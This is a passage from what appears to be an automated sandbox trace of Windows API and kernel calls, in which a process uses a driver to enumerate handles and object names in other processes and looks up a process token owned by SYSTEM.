HandleInformation=0x0) returned 0x0 [0121.475] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.475] PsReleaseProcessExitSynchronization () returned 0x2 [0121.475] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.475] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.475] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0121.475] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.475] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.475] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.475] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.475] PsAcquireProcessExitSynchronization () returned 0x0 [0121.475] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.475] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0121.475] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.475] PsReleaseProcessExitSynchronization () returned 0x2 [0121.475] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.475] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.475] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0121.475] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.475] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.475] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.475] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0121.475] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.475] PsAcquireProcessExitSynchronization () returned 0x0 [0121.475] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.476] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003109240, HandleInformation=0x0) returned 0x0 [0121.476] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.476] PsReleaseProcessExitSynchronization () returned 0x2 [0121.476] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.476] ObQueryNameString (in: Object=0xfffffa8003109240, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.476] ObfDereferenceObject (Object=0xfffffa8003109240) returned 0x2 [0121.476] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.476] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.476] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0121.476] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.476] PsAcquireProcessExitSynchronization () returned 0x0 [0121.476] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.476] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031081a0, HandleInformation=0x0) returned 0x0 [0121.476] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.476] PsReleaseProcessExitSynchronization () returned 0x2 [0121.476] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.476] ObQueryNameString (in: Object=0xfffffa80031081a0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.476] ObfDereferenceObject (Object=0xfffffa80031081a0) returned 0x1 [0121.476] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.476] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.476] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.476] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0121.476] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.476] PsAcquireProcessExitSynchronization () returned 0x0 [0121.476] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.476] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800310bc90, HandleInformation=0x0) returned 0x0 [0121.476] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.477] PsReleaseProcessExitSynchronization () returned 0x2 [0121.477] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.477] ObQueryNameString (in: Object=0xfffffa800310bc90, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.477] ObfDereferenceObject (Object=0xfffffa800310bc90) returned 0x1 [0121.477] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.477] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.477] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.477] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0121.477] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.477] PsAcquireProcessExitSynchronization () returned 0x0 [0121.477] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880044355d0) [0121.477] ObReferenceObjectByHandle (in: Handle=0x21c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032199e0, HandleInformation=0x0) returned 0x0 [0121.477] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.477] PsReleaseProcessExitSynchronization () returned 0x2 [0121.477] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3e [0121.477] ObQueryNameString (in: Object=0xfffffa80032199e0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.477] ObfDereferenceObject (Object=0xfffffa80032199e0) returned 0x11 [0121.477] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.477] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.477] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xc0 [0121.478] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0121.478] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0121.478] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000550) returned 0x0 [0121.478] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x86 [0121.478] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000550, DesiredAccess=0x8, TokenHandle=0xfffffa80036b6180 | out: TokenHandle=0xfffffa80036b6180*=0xc8) returned 0x0 [0121.478] ZwClose (Handle=0xffffffff80000550) returned 0x0 [0121.478] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.478] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0121.478] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0121.480] CloseHandle (hObject=0xc8) returned 1 [0121.480] CloseHandle (hObject=0xc0) returned 1 [0121.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0121.480] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.480] PsAcquireProcessExitSynchronization () returned 0x0 [0121.480] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.480] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030bf6c0, HandleInformation=0x0) returned 0x0 [0121.480] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.480] PsReleaseProcessExitSynchronization () returned 0x2 [0121.480] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.480] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.480] ObfDereferenceObject (Object=0xfffffa80030bf6c0) returned 0x1 [0121.480] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.480] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.480] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.480] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.480] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.480] PsAcquireProcessExitSynchronization () returned 0x0 [0121.480] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.480] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0121.480] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.480] PsReleaseProcessExitSynchronization () returned 0x2 [0121.480] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.480] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.480] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0121.480] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.480] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.481] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.481] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.481] PsAcquireProcessExitSynchronization () returned 0x0 [0121.481] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.481] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0121.481] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.481] PsReleaseProcessExitSynchronization () returned 0x2 [0121.481] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.481] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.481] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0121.481] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.481] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.481] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.481] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.481] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.481] PsAcquireProcessExitSynchronization () returned 0x0 [0121.481] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.481] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0121.481] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.481] PsReleaseProcessExitSynchronization () returned 0x2 [0121.481] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.481] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.481] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0121.481] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0121.482] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.482] PsAcquireProcessExitSynchronization () returned 0x0 [0121.482] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.482] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0121.482] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.482] PsReleaseProcessExitSynchronization () returned 0x2 [0121.482] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.482] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.482] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0121.482] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.482] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.482] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.482] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.482] PsAcquireProcessExitSynchronization () returned 0x0 [0121.482] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.482] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0121.482] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.482] PsReleaseProcessExitSynchronization () returned 0x2 [0121.482] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.482] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.482] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0121.482] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.482] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.483] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.483] PsAcquireProcessExitSynchronization () returned 0x0 [0121.483] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.483] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.483] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.483] PsReleaseProcessExitSynchronization () returned 0x2 [0121.483] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.483] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.483] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.483] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.483] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0121.483] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.483] PsAcquireProcessExitSynchronization () returned 0x0 [0121.483] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.483] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0121.483] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.483] PsReleaseProcessExitSynchronization () returned 0x2 [0121.483] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.483] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.483] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0121.483] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.483] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.483] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0121.483] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.483] PsAcquireProcessExitSynchronization () returned 0x0 [0121.483] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880044355d0) [0121.484] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0121.484] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.484] PsReleaseProcessExitSynchronization () returned 0x2 [0121.484] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x84 [0121.484] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.484] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0121.484] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.484] 